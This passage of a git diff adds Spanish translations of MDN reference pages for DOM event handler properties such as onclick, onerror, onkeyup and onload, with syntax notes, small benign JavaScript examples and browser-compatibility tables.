+<pre class="syntaxbox"><em><var>element</var></em>.onchange = <em>handlerFunction</em>;
+var <em>handlerFunction</em> = <em><var>element</var></em>.onchange;
+</pre>
+
+<p><code><em>handlerFunction</em></code> debería ser <em>null</em> o una  <a href="/en-US/docs/Web/JavaScript/Reference/Functions" title="/en-US/docs/JavaScript/Reference/Functions_and_function_scope">Función de javascript</a> espeficiando el manejador para el evento.</p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Mir el la págna <a href="/en-US/docs/Web/Guide/Events/Event_handlers" title="/en-US/docs/Web/Guide/DOM/Events/Event_handlers">Manejadores de eventos DOM</a> para más información sobre cómo trabajar con los manejadore <code>on</code>.</p>
+
+<p>Mira la documentación para el evento {{event("change")}}.</p>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onchange','onchange')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte báico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/globaleventhandlers/onclick/index.html b/files/es/web/api/globaleventhandlers/onclick/index.html
new file mode 100644
index 0000000000..62d6c622ec
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onclick/index.html
@@ -0,0 +1,139 @@
+---
+title: GlobalEventHandlers.onclick
+slug: Web/API/GlobalEventHandlers/onclick
+translation_of: Web/API/GlobalEventHandlers/onclick
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<div></div>
+
+<p>La propiedad <strong>onclick</strong> devuelve el manejador del evento <code>click</code> del elemento actual.</p>
+
+<div class="note"><strong>Note:</strong> Cuando uses el evento <code>click</code> para ejecutar algo, considera agregar la misma acción al evento <code>keydown</code>, para permitirle el uso a personas que no usan mouse o pantalla táctil.</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>element</var>.onclick = <var>functionRef</var>;
+</pre>
+
+<p>Donde <em>functionRef</em> es una función - muchas veces el nombre de la función está declarado ya en otro sitio o como una <em>expresión de la función</em> .Ver "<a href="/en-US/docs/JavaScript/Guide/Functions">JavaScript Guide:Functions</a>" para más detalles.</p>
+
+<p>el único argumento pasado a la función  manejador de evento especificamente {{domxref("MouseEvent")}} object. Dentro del manejador, <code>this</code> será el elemento sobre él  el evento ha sido invocado.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8" /&gt;
+    &lt;title&gt;onclick event example&lt;/title&gt;
+    &lt;script&gt;
+      function initElement() {
+        var p = document.getElementById("foo");
+        // NOTE: showAlert(); or showAlert(param); will NOT work here.
+        // Must be a reference to a function name, not a function call.
+        p.onclick = showAlert;
+      };
+
+      function showAlert(event) {
+        alert("onclick Event detected!");
+      }
+    &lt;/script&gt;
+    &lt;style&gt;
+      #foo {
+        border: solid blue 2px;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="initElement();"&gt;
+    &lt;span id="foo"&gt;My Event Element&lt;/span&gt;
+    &lt;p&gt;click on the above element.&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>O se puede usar una función anoníma, como esa:</p>
+
+<pre class="brush:js">p.onclick = function(event) { alert("moot!"); };
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>El evento <code>click</code> se genera cuando el usuario hace clic en un elemento. El evento clic ocurrirá después de los eventos <code>mousedown</code> y <code>mouseup</code>.</p>
+
+<p>Solo se puede asignar un controlador <code>click</code> a un objeto a la vez con esta propiedad. Puede que prefiera utilizar el método {{domxref ("EventTarget.addEventListener()")}} en su lugar, ya que es más flexible y forma parte de la especificación DOM Events.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/globaleventhandlers/onclose/index.html b/files/es/web/api/globaleventhandlers/onclose/index.html
new file mode 100644
index 0000000000..20ddb639f5
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onclose/index.html
@@ -0,0 +1,52 @@
+---
+title: GlobalEventHandlers.onclose
+slug: Web/API/GlobalEventHandlers/onclose
+tags:
+  - Propiedad
+  - Referencia
+translation_of: Web/API/GlobalEventHandlers/onclose
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Un gestor de eventos para los eventos de cerrar enviados a la ventana. (No disponible con Firefox 2 o Safari)</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">window.onclose = funcRef;
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<ul>
+ <li><code>funcRef</code> es una referencia a una función.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">window.onclose = resetThatServerThing;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclose','onclose')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta pagina es generada de datos estructurados. Si te gustaría contribuir a los datos, por favor haz check out de <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos una petición pull.</div>
+
+<p>{{Compat("api.GlobalEventHandlers.onclose")}}</p>
+</div>
diff --git a/files/es/web/api/globaleventhandlers/onerror/index.html b/files/es/web/api/globaleventhandlers/onerror/index.html
new file mode 100644
index 0000000000..44c921b4ad
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onerror/index.html
@@ -0,0 +1,65 @@
+---
+title: GlobalEventHandlers.onerror
+slug: Web/API/GlobalEventHandlers/onerror
+translation_of: Web/API/GlobalEventHandlers/onerror
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>Un manejador de eventos para errores en scripts en tiempo de ejecución.</p>
+
+<p>Note that some/many <code>error</code> events do not trigger <code>window.onerror</code>, you have to listen for them specifically.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre>window.onerror = funcRef;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<ul>
+ <li><code>funcRef</code> es una referencia a una función. Cuando la función devuelva <code>true</code>, se prevendrá el disparado del manejador de eventos por defecto. Parámetros de la función:
+
+  <ul>
+   <li>Mensaje de error (string)</li>
+   <li>Url en la que el error fue lanzado (string)</li>
+   <li>Número de línea en la que el error fue lanzado (number)</li>
+   <li>Dentro de la línea en la que el error ocurrió, número de columna correspondiente (number) {{gecko_minversion_inline("31.0")}}</li>
+   <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error">Error Object</a> (object) {{gecko_minversion_inline("31.0")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplos</h2>
+
+<pre class="brush: js">// Example 1:
+
+// Prevent error dialogs from displaying -which is the window's normal
+// behavior- by overriding the default event handler for error events that
+// go to the window.
+window.onerror = null;
+
+// Example 2:
+
+var gOldOnError = window.onerror;
+// Override previous handler.
+window.onerror = function myErrorHandler(errorMsg, url, lineNumber) {
+  if (gOldOnError)
+    // Call previous handler.
+    return gOldOnError(errorMsg, url, lineNumber);
+
+  // Just let default handler run.
+  return false;
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>El evento de error es lanzado cuando ocurre un error en el script.</p>
+
+<p>Cuando se use el marcado html en línea (<span class="nowiki">&lt;body onerror="alert('an error occurred')&gt;...</span>), los argumentos son anónimos. Pueden ser referenciados usando desde <code>arguments{{ mediawiki.external(0) }}</code> hasta <code>arguments{{ mediawiki.external(2) }}</code>.</p>
+
+<p>No hay llamante <code><a class="external" href="/en/Components.stack" title="https://developer.mozilla.org/En/Components.stack">Components.stack</a>.caller</code> que recuperar. (Vea <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=355430"><strong>bug 355430</strong></a>.)</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p><a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/handlers.html#1120097" title="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/handlers.html#1120097">JavaScript 1.1</a></p>
diff --git a/files/es/web/api/globaleventhandlers/onfocus/index.html b/files/es/web/api/globaleventhandlers/onfocus/index.html
new file mode 100644
index 0000000000..e29b3fb84b
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onfocus/index.html
@@ -0,0 +1,94 @@
+---
+title: GlobalEventHandlers.onfocus
+slug: Web/API/GlobalEventHandlers/onfocus
+translation_of: Web/API/GlobalEventHandlers/onfocus
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>La propiedad <strong>onfocus</strong> devuelve un manejador de eventos para el evento onFocus en el elemento actual.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">element.onfocus = <em>event handling code</em>
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>El evento focus se dispara cuando el usuario establece el foco en el elemento.</p>
+
+<p>Para que el evento <code>onfocus</code> se dispare en elementos que no sean inputs, los mismos deben establecerse con el atributo  {{htmlattrxref("tabindex")}}  (vea <a href="/en-US/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</a> para mas detalles).</p>
+
+<p>A diferencia de MSIE, en que casi toda clase de elemento puede recibir el evento focus,  en los navegadores Gecko en los que casi todos los elementos NO reciben este evento.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onfocus','onfocus')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_Navegadores">Compatibilidad con los Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/globaleventhandlers/oninput/index.html b/files/es/web/api/globaleventhandlers/oninput/index.html
new file mode 100644
index 0000000000..18785b9fe3
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/oninput/index.html
@@ -0,0 +1,86 @@
+---
+title: GlobalEventHandlers.oninput
+slug: Web/API/GlobalEventHandlers/oninput
+translation_of: Web/API/GlobalEventHandlers/oninput
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>Un controlador de eventos para el evento input en la ventana. El evento input es llamado cuando el valor de un elemento {{ HTMLElement("input") }} ha cambiado. </p>
+
+<p>Este evento se propaga. Si está soportado en la ventana, también estará soportado en elementos {{ HTMLElement("input") }}.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: html">&lt;script&gt;
+
+window.addEventListener('input', function (e) {
+ console.log("Evento keyup detectado! proveniente de este elemento:", e.target);
+}, false);
+
+&lt;/script&gt;
+
+&lt;input placeholder="Tipee aquí y vea la consola."&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-input" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-input">HTML - APIs de elementos de entrada comunes (<code>input</code>)</a></p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>2</td>
+   <td>9</td>
+   <td>10</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a class="external" href="http://blog.danielfriesen.name/2010/02/16/html5-browser-maze-oninput-support/">Un laberinto de navegadores HTML5, soporte para oninput</a></li>
+ <li><a class="external" href="http://www.useragentman.com/blog/2011/05/12/fixing-oninput-in-ie9-using-html5widgets/">Corrigiendo oninput en IE con html5Widgets</a> incluye cobertura para IE6-8</li>
+ <li>Mathias Bynens sugiere <a class="external" href="http://mathiasbynens.be/notes/oninput" title="http://mathiasbynens.be/notes/oninput">enlazando a input y keydown</a></li>
+ <li><a class="external" href="http://help.dottoro.com/ljhxklln.php" title="http://help.dottoro.com/ljhxklln.php">evento oninput | dottoro</a> posee notas acerca de bugs en IE9</li>
+</ul>
diff --git a/files/es/web/api/globaleventhandlers/onkeydown/index.html b/files/es/web/api/globaleventhandlers/onkeydown/index.html
new file mode 100644
index 0000000000..4eea7b0c68
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onkeydown/index.html
@@ -0,0 +1,93 @@
+---
+title: GlobalEventHandlers.onkeydown
+slug: Web/API/GlobalEventHandlers/onkeydown
+translation_of: Web/API/GlobalEventHandlers/onkeydown
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>La propiedad <code><strong>onkeydown</strong></code> devuelve un manejador para el evento <code>onKeyDown</code> del elemento actual.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">element.onkeydown = <var>event handling code</var></pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>El evento <code>keydown</code> se lanza cuando el usuario presiona una tecla.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onkeydown','onkeydown')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/globaleventhandlers/onkeyup/index.html b/files/es/web/api/globaleventhandlers/onkeyup/index.html
new file mode 100644
index 0000000000..f6b97819eb
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onkeyup/index.html
@@ -0,0 +1,100 @@
+---
+title: GlobalEventHandlers.onkeyup
+slug: Web/API/GlobalEventHandlers/onkeyup
+translation_of: Web/API/GlobalEventHandlers/onkeyup
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>La propiedad <strong>onkeyup</strong> devuelve un manejador para el evento onKeyUp del elemento actual.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">element.onkeyup = <em>event handling code</em>
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js"> &lt;input type="text" onKeyUp="keyWasPressed(event)"&gt;
+ &lt;script&gt;function keyWasPressed(evt){ console.log(evt.keyCode) }&lt;/script&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>El evento keyup se lanza cuando el usuario suelta la tecla que ha sido presionada.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onkeyup','onkeyup')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/globaleventhandlers/onload/index.html b/files/es/web/api/globaleventhandlers/onload/index.html
new file mode 100644
index 0000000000..b97cf40b4f
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onload/index.html
@@ -0,0 +1,51 @@
+---
+title: window.onload
+slug: Web/API/GlobalEventHandlers/onload
+tags:
+  - window.onload
+translation_of: Web/API/GlobalEventHandlers/onload
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Sumario</h3>
+<p>Un evento tipo handler para el evento <code>load</code> event de el {{ domxref("window") }}.</p>
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+<pre class="eval">window.onload = <em>funcRef</em>;
+</pre>
+<ul>
+ <li><code>funcRef</code> es la función tipo handler function a ser llamada cuando el evento <code>load</code>  de window se dispara.</li>
+</ul>
+<h3 id="Example" name="Example">Ejemplos</h3>
+<pre class="brush: js">window.onload = function() {
+  init();
+  doSomethingElse();
+};
+</pre>
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Ejemplo Onload&lt;/title&gt;
+    &lt;script&gt;
+      function load() {
+        alert("evento load detectado!");
+      }
+      window.onload = load;
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;El Evento load se dispara cuando el documento ha terminado de cargarse!&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Notes" name="Notes">Notas</h3>
+<p>El evento <code>load</code> dispara el evento al final del proceso de carga del documento. En este punto, todos los objetos del documento son DOM,  y todas las imágenes y sub-frames han terminado de cargarse.</p>
+<p>Existen también los  <a href="/en/Gecko-Specific_DOM_Events" title="en/Gecko-Specific_DOM_Events">Eventos DOM Específicos</a> como <code>DOMContentLoaded</code> y <code>DOMFrameContentLoaded</code> (los cuales pueden ser manejados usando {{ domxref("element.addEventListener()") }}) y son ejecutados despues de que el DOM de la página ha sido construido, pero no esperear a que otros recursos terminen de cargar.</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p>Este evento tipo handler se encuentra especificado en <a class="external" href="http://www.whatwg.org/html/#handler-window-onload" title="http://www.whatwg.org/html/#handler-window-onload">HTML</a>.</p>
+<h3 id="Ver_También">Ver También</h3>
+<ul>
+ <li>
+  <div class="syntaxbox">
+   Evento <code>DOMContentLoaded</code> en <a href="/En/Listening_to_events#Simple_DOM.c2.a0events" title="En/Listening to events#Simple DOM.c2.a0events">Escuchando los Evento:Eventos DOM Simples</a></div>
+ </li>
+</ul>
+<p>{{ languages( { "fr": "fr/DOM/window.onload", "pl": "pl/DOM/window.onload" } ) }}</p>
diff --git a/files/es/web/api/globaleventhandlers/onloadedmetadata/index.html b/files/es/web/api/globaleventhandlers/onloadedmetadata/index.html
new file mode 100644
index 0000000000..01bbdcefd8
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onloadedmetadata/index.html
@@ -0,0 +1,48 @@
+---
+title: GlobalEventHandlers.onloadedmetadata
+slug: Web/API/GlobalEventHandlers/onloadedmetadata
+translation_of: Web/API/GlobalEventHandlers/onloadedmetadata
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>The <strong><code>onloadedmetadata</code></strong> property of the {{domxref("GlobalEventHandlers")}} mixin is the {{domxref("EventHandler")}} for processing {{event("loadedmetadata")}} events.</p>
+
+<p>The <code>loadedmetadata</code> event is fired when the metadata has been loaded.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><em><var>element</var></em>.onloadedmetadata = <em>handlerFunction</em>;
+var <em>handlerFunction</em> = <em><var>element</var></em>.onloadedmetadata;
+</pre>
+
+<p><code>handlerFunction</code> should be either <code>null</code> or a <a href="/en-US/docs/Web/JavaScript/Reference/Functions" title="/en-US/docs/JavaScript/Reference/Functions_and_function_scope">JavaScript function</a> specifying the handler for the event.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','#handler-onloadedmetadata','onloadedmetadata')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.onloadedmetadata")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{event("loadedmetadata")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Event_handlers" title="/en-US/docs/Web/Guide/DOM/Events/Event_handlers">DOM event handlers</a></li>
+</ul>
diff --git a/files/es/web/api/globaleventhandlers/onresize/index.html b/files/es/web/api/globaleventhandlers/onresize/index.html
new file mode 100644
